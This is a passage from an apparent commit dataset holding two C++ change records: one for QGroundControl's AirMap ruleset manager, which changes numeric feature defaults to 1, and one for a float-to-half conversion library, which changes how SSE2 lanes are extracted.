State::Idle;\n emit ruleSetsChanged();\n emit selectedRuleSetsChanged();\n });\n}\n\n\/\/-----------------------------------------------------------------------------\nQString\nAirMapRulesetsManager::selectedRuleSets()\n{\n QString selection;\n for(int i = 0; i < _ruleSets.count(); i++) {\n AirMapRuleSet* rule = qobject_cast<AirMapRuleSet*>(_ruleSets.get(i));\n if(rule && rule->selected()) {\n selection += rule->shortName() + \", \";\n }\n }\n int idx = selection.lastIndexOf(\", \");\n if(idx >= 0) {\n selection = selection.left(idx);\n }\n return selection;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid\nAirMapRulesetsManager::_selectedChanged()\n{\n emit selectedRuleSetsChanged();\n \/\/-- TODO: Do whatever it is you do to select a rule\n}\n<commit_msg>Make all numeric values default to 1 (as opposed to 0) for the time being.<commit_after>\/****************************************************************************\n *\n * (c) 2009-2016 QGROUNDCONTROL PROJECT <http:\/\/www.qgroundcontrol.org>\n *\n * QGroundControl is licensed according to the terms in the file\n * COPYING.md in the root of the source code directory.\n *\n ****************************************************************************\/\n\n#include \"AirMapRulesetsManager.h\"\n#include \"AirMapManager.h\"\n#include <QSettings>\n\nusing namespace airmap;\n\nstatic const char* kAirMapFeatureGroup = \"AirMapFeatureGroup\";\n\n\/\/-----------------------------------------------------------------------------\nAirMapRuleFeature::AirMapRuleFeature(QObject* parent)\n : AirspaceRuleFeature(parent)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRuleFeature::AirMapRuleFeature(airmap::RuleSet::Feature feature, QObject* parent)\n : AirspaceRuleFeature(parent)\n , _feature(feature)\n{\n \/\/-- Restore persisted value (if it exists)\n QSettings settings;\n settings.beginGroup(kAirMapFeatureGroup);\n switch(_feature.type) {\n case RuleSet::Feature::Type::boolean:\n _value = settings.value(name(), false);\n break;;\n case RuleSet::Feature::Type::floating_point:\n \/\/_value = settings.value(name(), 0.0f);\n \/\/-- Default to 1 for now\n _value = settings.value(name(), 1.0f);\n break;;\n case RuleSet::Feature::Type::string:\n _value = settings.value(name(), QString());\n break;;\n default:\n break;\n }\n settings.endGroup();\n}\n\n\/\/-----------------------------------------------------------------------------\nAirspaceRuleFeature::Type\nAirMapRuleFeature::type()\n{\n switch(_feature.type) {\n case RuleSet::Feature::Type::boolean:\n return AirspaceRuleFeature::Boolean;\n case RuleSet::Feature::Type::floating_point:\n return AirspaceRuleFeature::Float;\n case RuleSet::Feature::Type::string:\n return AirspaceRuleFeature::String;\n default:\n break;\n }\n return AirspaceRuleFeature::Unknown;\n}\n\n\/\/-----------------------------------------------------------------------------\nAirspaceRuleFeature::Unit\nAirMapRuleFeature::unit()\n{\n switch(_feature.unit) {\n case RuleSet::Feature::Unit::kilograms:\n return AirspaceRuleFeature::Kilogram;\n case RuleSet::Feature::Unit::meters:\n return AirspaceRuleFeature::Meters;\n case RuleSet::Feature::Unit::meters_per_sec:\n return AirspaceRuleFeature::MetersPerSecond;\n default:\n break;\n }\n return AirspaceRuleFeature::UnknownUnit;\n}\n\n\/\/-----------------------------------------------------------------------------\nAirspaceRuleFeature::Measurement\nAirMapRuleFeature::measurement()\n{\n switch(_feature.measurement) {\n case RuleSet::Feature::Measurement::speed:\n return AirspaceRuleFeature::Speed;\n case RuleSet::Feature::Measurement::weight:\n return AirspaceRuleFeature::Weight;\n case RuleSet::Feature::Measurement::distance:\n return AirspaceRuleFeature::Distance;\n default:\n break;\n }\n return AirspaceRuleFeature::UnknownMeasurement;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid\nAirMapRuleFeature::setValue(const QVariant val)\n{\n _value = val;\n \/\/-- Make value persistent\n QSettings settings;\n settings.beginGroup(kAirMapFeatureGroup);\n settings.setValue(name(), _value);\n settings.endGroup();\n emit valueChanged();\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRule::AirMapRule(QObject* parent)\n : AirspaceRule(parent)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRule::AirMapRule(const airmap::RuleSet::Rule& rule, QObject* parent)\n : AirspaceRule(parent)\n , _rule(rule)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRule::~AirMapRule()\n{\n _features.deleteListAndContents();\n}\n\n\/\/-----------------------------------------------------------------------------\nAirspaceRule::Status\nAirMapRule::status()\n{\n switch(_rule.status) {\n case RuleSet::Rule::Status::conflicting:\n return AirspaceRule::Conflicting;\n case RuleSet::Rule::Status::not_conflicting:\n return AirspaceRule::NotConflicting;\n case RuleSet::Rule::Status::missing_info:\n return AirspaceRule::MissingInfo;\n case RuleSet::Rule::Status::unknown:\n default:\n return AirspaceRule::Unknown;\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRuleSet::AirMapRuleSet(QObject* parent)\n : AirspaceRuleSet(parent)\n , _isDefault(false)\n , _selected(false)\n , _selectionType(AirspaceRuleSet::Optional)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRuleSet::~AirMapRuleSet()\n{\n _rules.deleteListAndContents();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid\nAirMapRuleSet::setSelected(bool sel)\n{\n if(_selectionType != AirspaceRuleSet::Required) {\n _selected = sel;\n } else {\n _selected = true;\n }\n emit selectedChanged();\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRulesetsManager::AirMapRulesetsManager(AirMapSharedState& shared)\n : _shared(shared)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nstatic bool\nrules_sort(QObject* a, QObject* b)\n{\n AirMapRule* aa = qobject_cast<AirMapRule*>(a);\n AirMapRule* bb = qobject_cast<AirMapRule*>(b);\n if(!aa || !bb) return false;\n return (int)aa->order() > (int)bb->order();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid AirMapRulesetsManager::setROI(const QGCGeoBoundingCube& roi)\n{\n if (!_shared.client()) {\n qCDebug(AirMapManagerLog) << \"No AirMap client instance. Not updating Airspace\";\n return;\n }\n if (_state != State::Idle) {\n qCWarning(AirMapManagerLog) << \"AirMapRulesetsManager::updateROI: state not idle\";\n return;\n }\n qCDebug(AirMapManagerLog) << \"Rulesets Request (ROI Changed)\";\n _valid = false;\n _ruleSets.clearAndDeleteContents();\n _state = State::RetrieveItems;\n RuleSets::Search::Parameters params;\n \/\/-- Geometry: Polygon\n Geometry::Polygon polygon;\n for (const auto& qcoord : roi.polygon2D()) {\n Geometry::Coordinate coord;\n coord.latitude = qcoord.latitude();\n coord.longitude = qcoord.longitude();\n polygon.outer_ring.coordinates.push_back(coord);\n }\n params.geometry = Geometry(polygon);\n std::weak_ptr<LifetimeChecker> isAlive(_instance);\n _shared.client()->rulesets().search(params,\n [this, isAlive](const RuleSets::Search::Result& result) {\n if (!isAlive.lock()) return;\n if (_state != State::RetrieveItems) return;\n if (result) {\n const std::vector<RuleSet> rulesets = result.value();\n qCDebug(AirMapManagerLog) << \"Successful rulesets search. Items:\" << rulesets.size();\n for (const auto& ruleset : rulesets) {\n AirMapRuleSet* pRuleSet = new AirMapRuleSet(this);\n connect(pRuleSet, &AirspaceRuleSet::selectedChanged, this, &AirMapRulesetsManager::_selectedChanged);\n pRuleSet->_id = QString::fromStdString(ruleset.id);\n pRuleSet->_name = QString::fromStdString(ruleset.name);\n pRuleSet->_shortName = QString::fromStdString(ruleset.short_name);\n pRuleSet->_description = QString::fromStdString(ruleset.description);\n pRuleSet->_isDefault = ruleset.is_default;\n \/\/-- TODO: This should be persistent and if the new incoming set has the\n \/\/ same, previosuly selected rulesets, it should \"remember\".\n if(pRuleSet->_isDefault) {\n pRuleSet->_selected = true;\n }\n switch(ruleset.selection_type) {\n case RuleSet::SelectionType::pickone:\n pRuleSet->_selectionType = AirspaceRuleSet::Pickone;\n break;\n case RuleSet::SelectionType::required:\n pRuleSet->_selectionType = AirspaceRuleSet::Required;\n pRuleSet->_selected = true;\n break;\n default:\n case RuleSet::SelectionType::optional:\n pRuleSet->_selectionType = AirspaceRuleSet::Optional;\n break;\n }\n \/\/-- Iterate Rules\n for (const auto& rule : ruleset.rules) {\n AirMapRule* pRule = new AirMapRule(rule, this);\n \/\/-- Iterate Rule Features\n for (const auto& feature : rule.features) {\n AirMapRuleFeature* pFeature = new AirMapRuleFeature(feature, this);\n pRule->_features.append(pFeature);\n }\n pRuleSet->_rules.append(pRule);\n }\n \/\/-- Sort rules by display order\n std::sort(pRuleSet->_rules.objectList()->begin(), pRuleSet->_rules.objectList()->end(), rules_sort);\n _ruleSets.append(pRuleSet);\n qCDebug(AirMapManagerLog) << \"Adding ruleset\" << pRuleSet->name();\n \/*\n qDebug() << \"------------------------------------------\";\n qDebug() << \"Jurisdiction:\" << ruleset.jurisdiction.name.data() << (int)ruleset.jurisdiction.region;\n qDebug() << \"Name: \" << ruleset.name.data();\n qDebug() << \"Short Name: \" << ruleset.short_name.data();\n qDebug() << \"Description: \" << ruleset.description.data();\n qDebug() << \"Is default: \" << ruleset.is_default;\n qDebug() << \"Applicable to these airspace types:\";\n for (const auto& airspaceType : ruleset.airspace_types) {\n qDebug() << \" \" << airspaceType.data();\n }\n qDebug() << \"Rules:\";\n for (const auto& rule : ruleset.rules) {\n qDebug() << \" --------------------------------------\";\n qDebug() << \" short_text: \" << rule.short_text.data();\n qDebug() << \" description: \" << rule.description.data();\n qDebug() << \" display_order:\" << rule.display_order;\n qDebug() << \" status: \" << (int)rule.status;\n qDebug() << \" ------------------------------\";\n qDebug() << \" Features:\";\n for (const auto& feature : rule.features) {\n qDebug() << \" name: \" << feature.name.data();\n qDebug() << \" description:\" << feature.description.data();\n qDebug() << \" status: \" << (int)feature.status;\n qDebug() << \" type: \" << (int)feature.type;\n qDebug() << \" measurement:\" << (int)feature.measurement;\n qDebug() << \" unit: \" << (int)feature.unit;\n }\n }\n *\/\n }\n _valid = true;\n } else {\n QString description = QString::fromStdString(result.error().description() ? result.error().description().get() : \"\");\n emit error(\"Failed to retrieve RuleSets\", QString::fromStdString(result.error().message()), description);\n }\n _state = State::Idle;\n emit ruleSetsChanged();\n emit selectedRuleSetsChanged();\n });\n}\n\n\/\/-----------------------------------------------------------------------------\nQString\nAirMapRulesetsManager::selectedRuleSets()\n{\n QString selection;\n for(int i = 0; i < _ruleSets.count(); i++) {\n AirMapRuleSet* rule = qobject_cast<AirMapRuleSet*>(_ruleSets.get(i));\n if(rule && rule->selected()) {\n selection += rule->shortName() + \", \";\n }\n }\n int idx = selection.lastIndexOf(\", \");\n if(idx >= 0) {\n selection = selection.left(idx);\n }\n return selection;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid\nAirMapRulesetsManager::_selectedChanged()\n{\n emit selectedRuleSetsChanged();\n \/\/-- TODO: Do whatever it is you do to select a rule\n}\n<|endoftext|>"} {"text":"<commit_before>#include <string.h>\n\n#if defined(__SSE2__)\n#include <emmintrin.h>\n#endif\n#if defined(__SSE4_1__)\n#include <smmintrin.h>\n#endif\n\n#include \"m_half.h\"\n#include \"m_const.h\"\n\nnamespace m {\n\nstatic struct halfData {\n halfData();\n \/\/ 1536 bytes\n uint32_t baseTable[512];\n uint8_t shiftTable[512];\n} gHalf;\n\nhalfData::halfData() {\n for (int i = 0, e = 0; i < 256; ++i) {\n e = i - 127;\n if (e < -24) {\n \/\/ When magnitude of the number is really small (2^-24 or smaller),\n \/\/ there is no possible half-float representation for the number, so\n \/\/ it must be mapped to zero (or negative zero). Setting the shift\n \/\/ table entries to 24 will shift all mantissa bits, leaving just zero.\n \/\/ Base tables store zero otherwise (0x8000 for negative zero case.)\n baseTable[i|0x000] = 0x0000;\n baseTable[i|0x100] = 0x8000;\n shiftTable[i|0x000] = 24;\n shiftTable[i|0x100] = 24;\n } else if (e < -14) {\n \/\/ When the number is small (< 2^-14), the value can only be\n \/\/ represented using a subnormal half-float. This is the most\n \/\/ complex case: first, the leading 1-bit, implicitly represented\n \/\/ in the normalized representation, must be explicitly added, then\n \/\/ the resulting mantissa must be shifted rightward, or over a number\n \/\/ of bit-positions as determined by the exponent. Here we prefer to\n \/\/ shift the original mantissa bits, and add the pre-shifted 1-bit to\n \/\/ it.\n \/\/\n \/\/ Note: Shifting by -e-14 will never be negative, thus ensuring\n \/\/ proper conversion, an alternative method is to shift by 18-e, which\n \/\/ depends on implementation-defined behavior of unsigned shift.\n baseTable[i|0x000] = (0x0400 >> (-e-14));\n baseTable[i|0x100] = (0x0400 >> (-e-14)) | 0x8000;\n shiftTable[i|0x000] = -e-1;\n shiftTable[i|0x100] = -e-1;\n } else if (e <= 15) {\n \/\/ Normal numbers (smaller than 2^15), can be represented using half\n \/\/ floats, albeit with slightly less precision. The entries in the\n \/\/ base table are simply set to the bias-adjust exponent value, shifted\n \/\/ into the right position. A sign bit is added for the negative case.\n baseTable[i|0x000] = ((e+15) << 10);\n baseTable[i|0x100] = ((e+15) << 10) | 0x8000;\n shiftTable[i|0x000] = 13;\n shiftTable[i|0x100] = 13;\n } else if (e < 128) {\n \/\/ Large values (numbers less than 2^128) must be mapped to half-float\n \/\/ Infinity, They are too large to be represented as half-floats. In\n \/\/ this case the base table is set to 0x7C00 (with sign if negative)\n \/\/ and the mantissa is zeroed out, which is accomplished by shifting\n \/\/ out all mantissa bits.\n baseTable[i|0x000] = 0x7C00;\n baseTable[i|0x100] = 0xFC00;\n shiftTable[i|0x000] = 24;\n shiftTable[i|0x100] = 24;\n } else {\n \/\/ Remaining float numbers such as Infs and NaNs should stay Infs and\n \/\/ NaNs after conversion. The base table entries are exactly the same\n \/\/ as the previous case, except the mantissa-bits are to be preserved\n \/\/ as much as possible.\n baseTable[i|0x000] = 0x7C00;\n baseTable[i|0x100] = 0xFC00;\n shiftTable[i|0x000] = 13;\n shiftTable[i|0x100] = 13;\n }\n }\n}\n\nhalf convertToHalf(float in) {\n const floatShape shape = { in };\n return gHalf.baseTable[(shape.asInt >> 23) & 0x1FF] +\n ((shape.asInt & 0x007FFFFF) >> gHalf.shiftTable[(shape.asInt >> 23) & 0x1FF]);\n}\n\nfloat convertToFloat(half in) {\n static constexpr uint32_t kMagic = 113 << 23;\n static constexpr uint32_t kShiftedExp = 0x7C00 << 13; \/\/ exponent mask after shift\n static constexpr floatShape kMagicShape = { kMagic };\n\n floatShape out = { uint32_t(in & 0x7FFF) << 13 }; \/\/ exponent\/mantissa bits\n const size_t exp = kShiftedExp & out.asInt; \/\/ exponent\n out.asInt += (127 - 15) << 23; \/\/ adjust exponent\n\n if (exp == kShiftedExp) {\n \/\/ extra adjustment of exponent for Inf\/Nan?\n out.asInt += (128 - 16) << 23;\n } else if (exp == 0) {\n \/\/ extra adjustment of exponent for Zero\/Denormal?\n out.asInt += 1 << 23;\n \/\/ renormalize\n out.asFloat -= kMagicShape.asFloat;\n }\n\n \/\/ sign bit\n out.asInt |= (in & 0x8000) << 16;\n return out.asFloat;\n}\n\n#if defined(__SSE2__)\nunion vectorShape {\n __m128i asVector;\n alignas(16) uint32_t asInt[4];\n};\n\ntemplate <unsigned int I>\nstatic inline uint32_t extractScalar(__m128i v) {\n#if defined(__SSE4_1__)\n return _mm_extract_epi32(v, I);\n#else\n \/\/ Not pretty\n vectorShape shape;\n shape.asVector = v;\n return shape.asInt[I];\n#endif\n}\n\nstatic __m128i convertToHalfSSE2(__m128 f) {\n \/\/ ~15 SSE2 ops\n alignas(16) static const uint32_t kMaskAbsolute[4] = { 0x7fffffffu, 0x7fffffffu, 0x7fffffffu, 0x7fffffffu };\n alignas(16) static const uint32_t kInf32[4] = { 255 << 23, 255 << 23, 255 << 23, 255 << 23 };\n alignas(16) static const uint32_t kExpInf[4] = { (255 ^ 31) << 23, (255 ^ 31) << 23, (255 ^ 31) << 23, (255 ^ 31) << 23 };\n alignas(16) static const uint32_t kMax[4] = { (127 + 16) << 23, (127 + 16) << 23, (127 + 16) << 23, (127 + 16) << 23 };\n alignas(16) static const uint32_t kMagic[4] = { 15 << 23, 15 << 23, 15 << 23, 15 << 23 };\n\n const __m128 maskAbsolute = *(const __m128 *const)&kMaskAbsolute;\n const __m128 absolute = _mm_and_ps(maskAbsolute, f);\n const __m128 justSign = _mm_xor_ps(f, absolute);\n const __m128 max = *(const __m128 *const)&kMax;\n const __m128 expInf = *(const __m128 *const)&kExpInf;\n const __m128 infNanCase = _mm_xor_ps(expInf, absolute);\n const __m128 clamped = _mm_min_ps(max, absolute);\n const __m128 notNormal = _mm_cmpnlt_ps(absolute, *(const __m128 *const)&kInf32);\n const __m128 scaled = _mm_mul_ps(clamped, *(const __m128 *const)&kMagic);\n const __m128 merge1 = _mm_and_ps(infNanCase, notNormal);\n const __m128 merge2 = _mm_andnot_ps(notNormal, scaled);\n const __m128 merged = _mm_or_ps(merge1, merge2);\n const __m128i shifted = _mm_srli_epi32(_mm_castps_si128(merged), 13);\n const __m128i signShifted = _mm_srli_epi32(_mm_castps_si128(justSign), 16);\n const __m128i value = _mm_or_si128(shifted, signShifted);\n\n return value;\n}\n\nstatic __m128 convertToFloatSSE2(__m128i h) {\n \/\/ ~19 SSE2 ops\n alignas(16) static const uint32_t kMaskNoSign[4] = { 0x7fff, 0x7fff, 0x7fff, 0x7fff };\n alignas(16) static const uint32_t kSmallestNormal[4] = { 0x0400, 0x0400, 0x0400, 0x0400 };\n alignas(16) static const uint32_t kInfinity[4] = { 0x7c00, 0x7c00, 0x7c00, 0x7c00 };\n alignas(16) static const uint32_t kExpAdjustNormal[4] = { (127 - 15) << 23, (127 - 15) << 23, (127 - 15) << 23, (127 - 15) << 23, };\n alignas(16) static const uint32_t kMagicDenormal[4] = { 113 << 23, 113 << 23, 113 << 23, 113 << 23 };\n\n const __m128i noSign = *(const __m128i *const)&kMaskNoSign;\n const __m128i exponentAdjust = *(const __m128i *const)&kExpAdjustNormal;\n const __m128i smallest = *(const __m128i *const)&kSmallestNormal;\n const __m128i infinity = *(const __m128i *const)&kInfinity;\n const __m128i expAnd = _mm_and_si128(noSign, h);\n const __m128i justSign = _mm_xor_si128(h, expAnd);\n const __m128i notInfNan = _mm_cmpgt_epi32(infinity, expAnd);\n const __m128i isDenormal = _mm_cmpgt_epi32(smallest, expAnd);\n const __m128i shifted = _mm_slli_epi32(expAnd, 13);\n const __m128i adjustInfNan = _mm_andnot_si128(notInfNan, exponentAdjust);\n const __m128i adjusted = _mm_add_epi32(exponentAdjust, shifted);\n const __m128i denormal1 = _mm_add_epi32(shifted, *(const __m128i *const)&kMagicDenormal);\n const __m128i adjusted2 = _mm_add_epi32(adjusted, adjustInfNan);\n const __m128 denormal2 = _mm_sub_ps(_mm_castsi128_ps(denormal1), *(const __m128 *const)&kMagicDenormal);\n const __m128 adjusted3 = _mm_and_ps(denormal2, _mm_castsi128_ps(isDenormal));\n const __m128 adjusted4 = _mm_andnot_ps(_mm_castsi128_ps(isDenormal), _mm_castsi128_ps(adjusted2));\n const __m128 adjusted5 = _mm_or_ps(adjusted3, adjusted4);\n const __m128i sign = _mm_slli_epi32(justSign, 16);\n const __m128 value = _mm_or_ps(adjusted5, _mm_castsi128_ps(sign));\n\n return value;\n}\n#endif\n\nu::vector<half> convertToHalf(const float *const input, size_t length) {\n u::vector<half> result(length);\n\n const float *in = input;\n U_ASSERT(((uintptr_t)(const void *)in) % 16 == 0);\n U_ASSUME_ALIGNED(in, 16);\n\n#if defined(__SSE2__)\n const int blocks = int(length) \/ 4;\n const int remainder = int(length) % 4;\n int where = 0;\n for (int i = 0; i < blocks; i++) {\n const __m128 value = _mm_load_ps(&in[where]);\n const __m128i convert = convertToHalfSSE2(value);\n result[where++] = extractScalar<0>(convert);\n result[where++] = extractScalar<1>(convert);\n result[where++] = extractScalar<2>(convert);\n result[where++] = extractScalar<3>(convert);\n }\n for (int i = 0; i < remainder; i++)\n result[where+i] = convertToHalf(in[where+i]);\n#else\n for (size_t i = 0; i < length; i++)\n result[i] = convertToHalf(in[i]);\n#endif\n return result;\n}\n\nu::vector<float> convertToFloat(const half *const input, size_t length) {\n u::vector<float> result(length);\n\n#if defined(__SSE2__)\n const half *in = input;\n U_ASSUME_ALIGNED(in, 16);\n const int blocks = int(length) \/ 4;\n const int remainder = int(length) % 4;\n int where = 0;\n for (int i = 0; i < blocks; i++, where += 4) {\n alignas(16) const __m128i value = _mm_set_epi32(in[where+0], in[where+1], in[where+2], in[where+3]);\n const __m128 convert = convertToFloatSSE2(value);\n memcpy(&result[where], &convert, sizeof convert);\n }\n for (int i = 0; i < remainder; i++)\n result[where+i] = convertToFloat(in[where+i]);\n#else\n for (size_t i = 0; i < length; i++)\n result[i] = convertToFloat(in[i]);\n#endif\n return result;\n}\n\n}\n<commit_msg>Compiler flushes register to memory when extracting a lane - lets not do that.<commit_after>#include <string.h>\n\n#if defined(__SSE2__)\n#include <emmintrin.h>\n#endif\n#if defined(__SSE4_1__)\n#include <smmintrin.h>\n#endif\n\n#include \"m_half.h\"\n#include \"m_const.h\"\n\nnamespace m {\n\nstatic struct halfData {\n halfData();\n \/\/ 1536 bytes\n uint32_t baseTable[512];\n uint8_t shiftTable[512];\n} gHalf;\n\nhalfData::halfData() {\n for (int i = 0, e = 0; i < 256; ++i) {\n e = i - 127;\n if (e < -24) {\n \/\/ When magnitude of the number is really small (2^-24 or smaller),\n \/\/ there is no possible half-float representation for the number, so\n \/\/ it must be mapped to zero (or negative zero). Setting the shift\n \/\/ table entries to 24 will shift all mantissa bits, leaving just zero.\n \/\/ Base tables store zero otherwise (0x8000 for negative zero case.)\n baseTable[i|0x000] = 0x0000;\n baseTable[i|0x100] = 0x8000;\n shiftTable[i|0x000] = 24;\n shiftTable[i|0x100] = 24;\n } else if (e < -14) {\n \/\/ When the number is small (< 2^-14), the value can only be\n \/\/ represented using a subnormal half-float. This is the most\n \/\/ complex case: first, the leading 1-bit, implicitly represented\n \/\/ in the normalized representation, must be explicitly added, then\n \/\/ the resulting mantissa must be shifted rightward, or over a number\n \/\/ of bit-positions as determined by the exponent. Here we prefer to\n \/\/ shift the original mantissa bits, and add the pre-shifted 1-bit to\n \/\/ it.\n \/\/\n \/\/ Note: Shifting by -e-14 will never be negative, thus ensuring\n \/\/ proper conversion, an alternative method is to shift by 18-e, which\n \/\/ depends on implementation-defined behavior of unsigned shift.\n baseTable[i|0x000] = (0x0400 >> (-e-14));\n baseTable[i|0x100] = (0x0400 >> (-e-14)) | 0x8000;\n shiftTable[i|0x000] = -e-1;\n shiftTable[i|0x100] = -e-1;\n } else if (e <= 15) {\n \/\/ Normal numbers (smaller than 2^15), can be represented using half\n \/\/ floats, albeit with slightly less precision. The entries in the\n \/\/ base table are simply set to the bias-adjust exponent value, shifted\n \/\/ into the right position. A sign bit is added for the negative case.\n baseTable[i|0x000] = ((e+15) << 10);\n baseTable[i|0x100] = ((e+15) << 10) | 0x8000;\n shiftTable[i|0x000] = 13;\n shiftTable[i|0x100] = 13;\n } else if (e < 128) {\n \/\/ Large values (numbers less than 2^128) must be mapped to half-float\n \/\/ Infinity, They are too large to be represented as half-floats. In\n \/\/ this case the base table is set to 0x7C00 (with sign if negative)\n \/\/ and the mantissa is zeroed out, which is accomplished by shifting\n \/\/ out all mantissa bits.\n baseTable[i|0x000] = 0x7C00;\n baseTable[i|0x100] = 0xFC00;\n shiftTable[i|0x000] = 24;\n shiftTable[i|0x100] = 24;\n } else {\n \/\/ Remaining float numbers such as Infs and NaNs should stay Infs and\n \/\/ NaNs after conversion. The base table entries are exactly the same\n \/\/ as the previous case, except the mantissa-bits are to be preserved\n \/\/ as much as possible.\n baseTable[i|0x000] = 0x7C00;\n baseTable[i|0x100] = 0xFC00;\n shiftTable[i|0x000] = 13;\n shiftTable[i|0x100] = 13;\n }\n }\n}\n\nhalf convertToHalf(float in) {\n const floatShape shape = { in };\n return gHalf.baseTable[(shape.asInt >> 23) & 0x1FF] +\n ((shape.asInt & 0x007FFFFF) >> gHalf.shiftTable[(shape.asInt >> 23) & 0x1FF]);\n}\n\nfloat convertToFloat(half in) {\n static constexpr uint32_t kMagic = 113 << 23;\n static constexpr uint32_t kShiftedExp = 0x7C00 << 13; \/\/ exponent mask after shift\n static constexpr floatShape kMagicShape = { kMagic };\n\n floatShape out = { uint32_t(in & 0x7FFF) << 13 }; \/\/ exponent\/mantissa bits\n const size_t exp = kShiftedExp & out.asInt; \/\/ exponent\n out.asInt += (127 - 15) << 23; \/\/ adjust exponent\n\n if (exp == kShiftedExp) {\n \/\/ extra adjustment of exponent for Inf\/Nan?\n out.asInt += (128 - 16) << 23;\n } else if (exp == 0) {\n \/\/ extra adjustment of exponent for Zero\/Denormal?\n out.asInt += 1 << 23;\n \/\/ renormalize\n out.asFloat -= kMagicShape.asFloat;\n }\n\n \/\/ sign bit\n out.asInt |= (in & 0x8000) << 16;\n return out.asFloat;\n}\n\n#if defined(__SSE2__)\nunion vectorShape {\n __m128i asVector;\n alignas(16) uint32_t asInt[4];\n};\n\ntemplate <unsigned int I>\nstatic inline uint32_t extractScalar(__m128i v) {\n#if defined(__SSE4_1__)\n return _mm_extract_epi32(v, I);\n#else\n return _mm_cvtsi128_si32(_mm_shuffle_epi32(v, _MM_SHUFFLE(I,I,I,I)));\n#endif\n}\n\nstatic __m128i convertToHalfSSE2(__m128 f) {\n \/\/ ~15 SSE2 ops\n alignas(16) static const uint32_t kMaskAbsolute[4] = { 0x7fffffffu, 0x7fffffffu, 0x7fffffffu, 0x7fffffffu };\n alignas(16) static const uint32_t kInf32[4] = { 255 << 23, 255 << 23, 255 << 23, 255 << 23 };\n alignas(16) static const uint32_t kExpInf[4] = { (255 ^ 31) << 23, (255 ^ 31) << 23, (255 ^ 31) << 23, (255 ^ 31) << 23 };\n alignas(16) static const uint32_t kMax[4] = { (127 + 16) << 23, (127 + 16) << 23, (127 + 16) << 23, (127 + 16) << 23 };\n alignas(16) static const uint32_t kMagic[4] = { 15 << 23, 15 << 23, 15 << 23, 15 << 23 };\n\n const __m128 maskAbsolute = *(const __m128 *const)&kMaskAbsolute;\n const __m128 absolute = _mm_and_ps(maskAbsolute, f);\n const __m128 justSign = _mm_xor_ps(f, absolute);\n const __m128 max = *(const __m128 *const)&kMax;\n const __m128 expInf = *(const __m128 *const)&kExpInf;\n const __m128 infNanCase = _mm_xor_ps(expInf, absolute);\n const __m128 clamped = _mm_min_ps(max, absolute);\n const __m128 notNormal = _mm_cmpnlt_ps(absolute, *(const __m128 *const)&kInf32);\n const __m128 scaled = _mm_mul_ps(clamped, *(const __m128 *const)&kMagic);\n const __m128 merge1 = _mm_and_ps(infNanCase, notNormal);\n const __m128 merge2 = _mm_andnot_ps(notNormal, scaled);\n const __m128 merged = _mm_or_ps(merge1, merge2);\n const __m128i shifted = _mm_srli_epi32(_mm_castps_si128(merged), 13);\n const __m128i signShifted = _mm_srli_epi32(_mm_castps_si128(justSign), 16);\n const __m128i value = _mm_or_si128(shifted, signShifted);\n\n return value;\n}\n\nstatic __m128 convertToFloatSSE2(__m128i h) {\n \/\/ ~19 SSE2 ops\n alignas(16) static const uint32_t kMaskNoSign[4] = { 0x7fff, 0x7fff, 0x7fff, 0x7fff };\n alignas(16) static const uint32_t kSmallestNormal[4] = { 0x0400, 0x0400, 0x0400, 0x0400 };\n alignas(16) static const uint32_t kInfinity[4] = { 0x7c00, 0x7c00, 0x7c00, 0x7c00 };\n alignas(16) static const uint32_t kExpAdjustNormal[4] = { (127 - 15) << 23, (127 - 15) << 23, (127 - 15) << 23, (127 - 15) << 23, };\n alignas(16) static const uint32_t kMagicDenormal[4] = { 113 << 23, 113 << 23, 113 << 23, 113 << 23 };\n\n const __m128i noSign = *(const __m128i *const)&kMaskNoSign;\n const __m128i exponentAdjust = *(const __m128i *const)&kExpAdjustNormal;\n const __m128i smallest = *(const __m128i *const)&kSmallestNormal;\n const __m128i infinity = *(const __m128i *const)&kInfinity;\n const __m128i expAnd = _mm_and_si128(noSign, h);\n const __m128i justSign = _mm_xor_si128(h, expAnd);\n const __m128i notInfNan = _mm_cmpgt_epi32(infinity, expAnd);\n const __m128i isDenormal = _mm_cmpgt_epi32(smallest, expAnd);\n const __m128i shifted = _mm_slli_epi32(expAnd, 13);\n const __m128i adjustInfNan = _mm_andnot_si128(notInfNan, exponentAdjust);\n const __m128i adjusted = _mm_add_epi32(exponentAdjust, shifted);\n const __m128i denormal1 = _mm_add_epi32(shifted, *(const __m128i *const)&kMagicDenormal);\n const __m128i adjusted2 = _mm_add_epi32(adjusted, adjustInfNan);\n const __m128 denormal2 = _mm_sub_ps(_mm_castsi128_ps(denormal1), *(const __m128 *const)&kMagicDenormal);\n const __m128 adjusted3 = _mm_and_ps(denormal2, _mm_castsi128_ps(isDenormal));\n const __m128 adjusted4 = _mm_andnot_ps(_mm_castsi128_ps(isDenormal), _mm_castsi128_ps(adjusted2));\n const __m128 adjusted5 = _mm_or_ps(adjusted3, adjusted4);\n const __m128i sign = _mm_slli_epi32(justSign, 16);\n const __m128 value = _mm_or_ps(adjusted5, _mm_castsi128_ps(sign));\n\n return value;\n}\n#endif\n\nu::vector<half> convertToHalf(const float *const input, size_t length) {\n u::vector<half> result(length);\n\n const float *in = input;\n U_ASSERT(((uintptr_t)(const void *)in) % 16 == 0);\n U_ASSUME_ALIGNED(in, 16);\n\n#if defined(__SSE2__)\n const int blocks = int(length) \/ 4;\n const int remainder = int(length) % 4;\n int where = 0;\n for (int i = 0; i < blocks; i++) {\n const __m128 value = _mm_load_ps(&in[where]);\n const __m128i convert = convertToHalfSSE2(value);\n result[where++] = extractScalar<0>(convert);\n result[where++] = extractScalar<1>(convert);\n result[where++] = extractScalar<2>(convert);\n result[where++] = extractScalar<3>(convert);\n }\n for (int i = 0; i < remainder; i++)\n result[where+i] = convertToHalf(in[where+i]);\n#else\n for (size_t i = 0; i < length; i++)\n result[i] = convertToHalf(in[i]);\n#endif\n return result;\n}\n\nu::vector<float> convertToFloat(const half 